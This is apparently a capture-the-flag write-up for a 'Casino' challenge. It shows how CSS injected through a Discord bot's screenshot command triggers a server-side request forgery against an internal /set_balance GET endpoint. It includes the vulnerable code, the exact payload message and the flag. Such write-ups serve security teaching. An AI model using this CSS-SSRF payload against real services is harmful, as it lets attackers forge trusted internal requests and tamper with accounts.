# Casino
Can you make $1000 off Casino#4970 on our Discord server? (say `$help` to view commands)
Attachments: `casino.zip`
## Solution
Exploit: SSRF to `/set_balance` endpoint using CSS
The web server trusts input from the Discord bot:```javascriptfunction internal (req, res, next) {  if (    req.socket.remoteAddress === '172.16.0.11' ||    req.socket.remoteAddress === '::ffff:172.16.0.11'  ) {    return next()  }
  return res.status(403).end()}```
The Discord bot visits `/badge` and screenshots it when we do the `!badge`command. It also allows us to add arbitrary CSS, though angle brackets are escaped:```javascriptconst css = (req.query.css || '').replace(/</g, '<').replace(/>/g, '>')```
We can't escape from the `<style>` tag, but we can still make GET requests using:```cssbackground-image: url(http://malicious)```
Also the challenge author is an idiot and `/set_balance` is conveniently a GETendpoint. So all we have to do is send this message```!badge `#badge { background-image: url(http://172.16.0.10:3000/set_balance?user=qxxxb%238938&balance=1000) }````
Then `!flag` to get `CCC{maybe_1_sh0uldv3d_us3d_P0ST_in5t3ad_of_G3T}`